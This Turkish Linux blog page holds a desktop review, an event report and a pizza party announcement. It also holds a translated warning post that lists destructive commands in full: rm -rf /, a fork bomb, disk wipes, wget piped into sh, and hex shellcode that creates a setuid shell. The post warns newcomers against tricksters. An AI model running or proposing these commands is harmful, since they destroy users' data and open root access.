Kurulumu bir USB bellek üzerinden yaptım. Kurulum aracının görüntülenmesinde bazı sorunlar olsa da kurulum hızına hayran kaldım. 5-10 dk arası bir zaman aldı. Masaüstü ilk açıldığında GNOME 2.x serisine oldukça benzediğini fark ettim ve bu durum hıoşuma gitti. Uygulama tercihlerinin bazılarını beğensem de çoğunu pek beğenmedim. Örneğin e-posta ve IM yazılımları benim favorilerim olan Thunderbird ve Pidgin ile gelen bir dağıtıma ilk defa rastladığım için memnunum. Onun dışında medya oynatıcısı olarak hiç bir dağıtımın VLC ile gelmediğini VLC aşığı bir insan olarak çok merak ediyorum.  Düzeltme  VLC'nin dağıtımlarla gelmemesinin sebebiyle ilgili "VLC'nin içindeki bazı yazılımların (DVD CSS şifreleme kırması ve libavcodec52) patent veya kanuni problemleri olduğundan Debian ve downstreamleri paketleri direk olarak koymuyor." açıklamasını yapan ortunk'ya teşekkür ediyorum.

Öntanımlı görüntü yazılımı ristretto bence berbattı ve diğer yüklü gösterici gThumb yeterli gelse de arayüzünü pek beğenmedim.  Eski dostum gwenview'in  bütün kde-base'i ile beraber gelmesi (KDE nin en sevmediğim yönü de budur herhalde şerefsizlerin şahane uygulamaları var ama başka ortamlara kurmak için 50 MB kadar kütüphane gerekiyor) de hoşuma gitmeyince depodan gPicView adında boyutu KB lar ile ölçüler bir yazılım buldum arayüzü biraz Windows'un resim göstericisine benzese de kendisinden memnun kaldım  KDE'de olmazsa olmazlarımdan Yakuake'nin alternatifi Guake yi bazı eksiklikleri olsa da beğendim. Büyük bir fontla gelmesi ciddi göz bozukluğu yaşayan şahsım için oldukça makbule geçti. Varsayılan metin düzenleyicisi leafpad'i biraz notepad'e benzetmedim değil (leafpad geliştiricileri bunu hakaret olarak kabul ederse kaldırabilirim tabii ki :D ) fıstık gibi gedit varken niye kullanmışlar merak ettim  Beğenmedim diyemesem de Dolphin ve Nautilus tan sonra Thunar pek bir yavan geldi. Alıştığım özelliklerin bir çoğuna sahip olmadığından da rahatsız oldum. Her ne kadar tamamen değiştiremesem de XFCE üzerine Nautilus kurmayı becerdim. (Nasıl yaptığımı başka bir yazıyla anlatabilirim) Görev yöneticisi de oldukça yavandı ve GNOME un Sistem Monitörüyle kıyas bile kabul etmezdi.

Benim bir GNU/Linux dağıtımında oldukça önem verdiğim uyuma ve uykudan uyanma konusunda sorun yaşamaması çok hoşuma gitti.(Bu durum Ubuntu 10.04 LTS de çok canımı sıkıyordu) Sonunda şunu anladım ki XFCE sadeliğe oldukça önem veren bir DE ama ben bir kullanıcı olarak işlevselliğe de oldukça önem verdiğimden beklediğimi pek bulamıyorum. Sonuçta size baya söylenmişim gibi gözükse de ben üzerindeki uygulamaları değiştirerek GNOME 2.x niyetine kendisiyle mutlu olabileceğimi düşünüyorum.

8 Şubat 2012

Posted In: Gezegen, gnu/linux, Özgür yazılım

Tehlikeli Linux Komutları

Geçenlerde Zeki Bildirici'nin Google+'da paylaştığı orjinalini bu adreste bulabileceğiniz Mitesh Shah tarafından yazılmış bir girdiye rastladım. Hoşuma gitti ve sosyal medya akışında kaybolmaması için bloguma aktarmak istedim. Aktarırken de bir katkım olsun diye tercüme edesim geldi. Fazla gevezelik etmeden sizi yazıyla baş başa bırakayım. 

Eğer Linux'ta yeniyseniz, İnternette forumlarda veya IRC 'de dosyalarınıza veya işletim sistemine zarar
verecek komutları çalıştırmanız için sizi kandıracak bazı geri zekalı insanlara denk gelme ihtimaliniz vardır. Aşağıda bu tehlikeli senaryodan kaçınmak için uzak durmanız gereken bazı tehlikeli Linux komutlarından bahsedeceğim.

1. Komut 

rm -rf /

Bu komut herhangi bir uyarı mesajı vermeden kök dizinin içindeki bütün dosyaları silecektir.



rm normalde konsol üzerinde dosya silmek için kullandığımız bir komuttur. Ve normalde silmek istiyor musunuz şeklinde bir uyarı verir ama -f (force) parametresi bu uyarıyı ezer ve doğrudan silme işlemini uygular. -r (recursively) parametresi de bütün alt klasörleriyle birlikte sil anlamına gelir. 


2. Komut

char esp[] _attribute_ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";


Bu komut rm -rf / yazmanın başka bir yoludur. Hex formatında olduğu için tecrübeli Linux kullanıcılarını bile yanıltabilir.

3. Komut

mkfs.ext3 /dev/sda
Bu komut sabit diski biçimlendirir yani bütün dosyalarınızı kaybedersiniz. mkfs.ext3 verilen disk veya disk bölümünü ext3 formatında biçimlendir anlamına gelir. /dev/sda ise ana/birincil sabit disk anlamına gelir. Örneğin /dev/sda2 ana sabit diskin sadece bir bölümünü tarif eder.

4. Komut

:(){:|:&};:

Linux camiasında fork bomb olarak da adlandırılan bir kabuk betiğidir. Sonsuz adet process başlatarak işletim sistemini kilitlemeyi amaçlar ve genelde veri kaybı ile sonuçlanır.

5. Komut
herhangi_bir_komut > /dev/sda

Bu komut ham verinin bir cihaza yazılmasına sebep olur. Genellikle dosya sisteminin üzerine yazacağı için veri kaybıyla sonuçlanır.

6. Komut

wget http://some_untrusted_source O | sh


Güvenilmeyen kaynaklardan indirme yapmayın ve bu kaynaklardan gelen kodları çalıştırmayın. Bu kodu size veren kişi kendi zararlı kodunu çalıştırmanızı istiyor olabilir.

7. Komut

mv ~/* /dev/null
mv /home/evdizininiz/* /dev/null


Bu komut dosyalarınızı /dev/null adındaki farazi bir konuma taşır yani dosyalarınızı tamamen kaybedersiniz.

8.Komut

dd if=/dev/urandom of=/dev/sda


Bu komut diskinize veya disk bölümünüze rastgele bilgiler yazar. dd komutu günlük hayatta bir taşınabilir belleğe bir disk kalıbı (işletim sistemi kalıbı vs.) yazmak vs. işlerde kullanabilir.

9. Komut

chmod -R 777 /

Bu komut herhangi bir veriye erişim haklarını değiştirerek. Bilgisayar üzerindeki herkese okuma-yazma ve çalıştırma haklarını verir. 

10. Komut

chmod 000 -R /
chown nobody:nobody -R /

Bu komut herhangi bir veriye erişim haklarını değiştirerek onu root haricindeki herkes için erişilmez kılar.

7 Şubat 2012

Posted In: Gezegen, gnu/linux, Özgür yazılım

2011 Cebit Eurasia Pardus Macerası


Previously on Cebit 
Geçen sene tadı damağımda kalan stand maceramdan sonra bu yıl bütün fuar boyunca katılmayı planlayıp belirtsemde bölümüm bana bir son dakika golü atarak fuarın ilk gününe staj mülakatı koydu. Onun dışında 3 gün boyunca standda bulundum.
Benim anlatmak istediğim bir çok şeyi Camia Koordinatörümüz Nihan ve Gönüllü Koordinatörümüz. Onur  bloglarında gayet güzel anlatmışlar. Ben de tekrardan bu güzel etkinliği beraber geçirdiğim herkese teşekkür edeyim.
GSM firmaları sponsorluktan çekildiğinden beri gitgide sönükleşen fuarın en güzel standının Pardus'unki olduğunu rahatlıkla söyleyebilirim.  Bu yıl geçen seneye ek olarak standımızda akıllı tahta, Sigma RD ekibinin geliştirdiği Pardus üzerinden Kinect aracılığı ile hareketleri algılayan bir doğal arayüz, Pardus üzerinde çalışan bir telsiz sistemi ve oyun alanımız vardı. Bu duruma birde girişin ücretsiz hale gelmesi eklenince fuar boyunca standımız oldukça kalabalık ve ana-baba günü seviyeleri arasında bir yoğunluk yaşadı. Ancak bizde özellikle hafta sonu 20 kişinin üzerinde bir kadroyla orada olunca ziyaretçilere yetebildik. Hatta stand oldukça kalabalıkken bile yardım edecek insan bulamadığım oldu.
Aslında fuarın geneli hakkında arkadaşlarımdan pek farklı şeyler söyleyemeyeceğim için biraz değerlendirme yapayım ve ilginç olaylardan bahsedeyim.
Geçen sene CD'lerin erken bitmesinden sonra Nihan'ın ortaya koyduğu yeni DVD dağıtma politikası gayet başarılıydı ve bu sene DVD'lerimiz fuar sonuna yetebildi.
Standda sürekli yetkili birinin olması da çok güzel bir gelişmeydi. Böylece Pardus ile kurumsal boyutta ilgilenen hemen hemen hiç kimseyi geri çevirmedik.
Onun dışında daha çok basılı materyalimiz olsa sanki daha iyi olurdu özellikle geçen seneki kurulum belgesini içeren posterler çok iyiydi.
Kendi adıma konuşacak olursa geçen 1 senede Linux topluluğu içinde kazandığım tecrübe sayesinde insanların sorularını fazla zorlanmadım.
Sistem yönetimi ile ilgilenmediğim için sunucu sorularında biraz zorlandım. Orada genelde Caner imdadıma yetişti. Onun dışında ekran kartı 2011'de çalışmayan ve açtığı hata kaydına cevap alamadığını söyleyen beyfendiye yardımcı olamadığıma çok üzüldüm.
Tv kartım çalışır mı, Excel'deki x fonksyonu LibreOffice'de var mı gibi spesifik sorular karşısında yapacak pek fazla bir şeyim yoktu.


Fuar kapanırken muzaffer futbol takımı edasında çektirdiğimiz fotoğrafı da ekleyeyim.



Soldan sağa ayaktakiler: Ebubekir Akgül, Tuncer Çolak, Merve Karabulut, Nihan Katipoğlu, Filiz Günel, Nesrin Kalender, Sinem Oğuz, Uğurcan Ergun, Kaan Özdinçer, İsmail M. Gökbulut, Uğur Eke, Zeynep Dikici

Soldan sağa oturanlar: Ülgen Sarıkavak, Murat Savaş, Caner Başaran, M. Sami Gürpınar, Murat Açıkgöz, Pamir Talazan, Onur Güzel, Ekin Meroğlu

Fotoğrafta olmayan isimleri de aklımda kaldığı kadarıyla buradan ben yazayım Gökmen Göksel, Fatih Arslan, Serdar Dalgıç,Mete Bilgin,Akın Ömeroğlu, Eren Türkay, Koray Löker, Zeki Bildirici, Samedhan Karameşe,Umut Albayrak,Fırat Zencirci, Hüseyin Özkan

Hepinize tekrardan teşekkür ederim. İyi ki varsınız.

PS: Fuar boyunca yaşanan ilginç geyikleri ve epic failleri da ayrı bir yazıda toplamak istiyorum.





12 Ekim 2011

Posted In: Etkinlikler, Gezegen, gnu/linux, Özgür yazılım, pardus

openSUSE Beta Pizza Partisi

22 Eylül'de çıkacak olan openSUSE 12.1 sürümünün betasını openSUSE topluluğu pizza partileriyle kutlamaya karar vermişler  Organizasyonun Türkiye ayağını çiçeği burnunda teknoloji portalı Teknokedi düzenlemeye karar vermiş.  Pizza yiyip Linux hakkında sohbet etmek isteyen herkesi bekliyoruz.
Teknokedi'nin haberi :

Linux dünyasında, özgür yazılım geliştirme işinden bahsederken Linus Torvalds'ın sözü olan "Just for fun" yani "Sadece eğlence için" deyimi çok kullanılır. Linux topluluğundaki insanlar eğlenmeyi hayatlarının merkezine koyar. Bu eğlence kaynağı bir parti olabilir, bir yemek olabilir, bir oyun olabilir ya da sadece bir bardak içecek olabilir. İçinde eğlenceli bir şeyler olmadığı sürece bir şeyler hep eksik kalır...
openSUSE topluluğu da işlerini eğlenceyle buluşturma konusunda çok iyiler. 22 Eylül günü openSUSE 12.1 Beta sürümünü kullanıcılarına sunacak ve bu beta sürümünü, tüm dünyada aynı anda gerçekleştirilecek Beta Pizza Partilerle kutlamaya karar verdiler. Bir araya gelip yeni sürümü kurmak, test etmek, bir yandan da pizza yiyerek sohbet etmek isteyenleri bir araya getirecek bu etkinliğin Türkiye ayağına katılmaya ne dersiniz?

Linux, pizza masasında kurtarılır

Bu eğlenceli etkinliğin Türkiye ayağını, openSUSE geliştiricisi olan sevgili İsmail Dönmez'in de cesaretlendirmesiyle, TeknoKedi olarak biz organize etmeye karar verdik. Bunun için 22 Eylül akşamı hepinizi openSUSE 12.1 Beta sürümünü kurmaya ve pizzalarımızla beraber Linux ve özgür yazılım sohbetlerine katılmaya davet ediyoruz!
Cihangir'de ilginç pizzalar yapan bir bir mekanda, Kort Pizza'da yerimizi ayırttık. 22 Eylül 18.30-20.00saatleri arasında openSUSE ve Linux konuşup bilgisayarına kurulum yapmak isteyen herkese kapımız açık. İster openSUSE, ister Ubuntu, ister Pardus, ister Arch Linux kullanıyor olun, isterseniz sadece özgür yazılım taraftarı olun, mutlaka o akşam bizimle bir dilim pizzayı paylaşmaya gelin. Katılım durumunuzu Facebook etkinliğinde belirtmeyi de unutmayın ;)
Arada eğlenmeyeceksek, bu hayatın tadı nasıl çıkar? :)
Etkinlik afişi :

17 Eylül 2011

Posted In: Etkinlikler, Gezegen, gnu/linux

WP Twitter Auto Publish Powered By : XYZScripts.com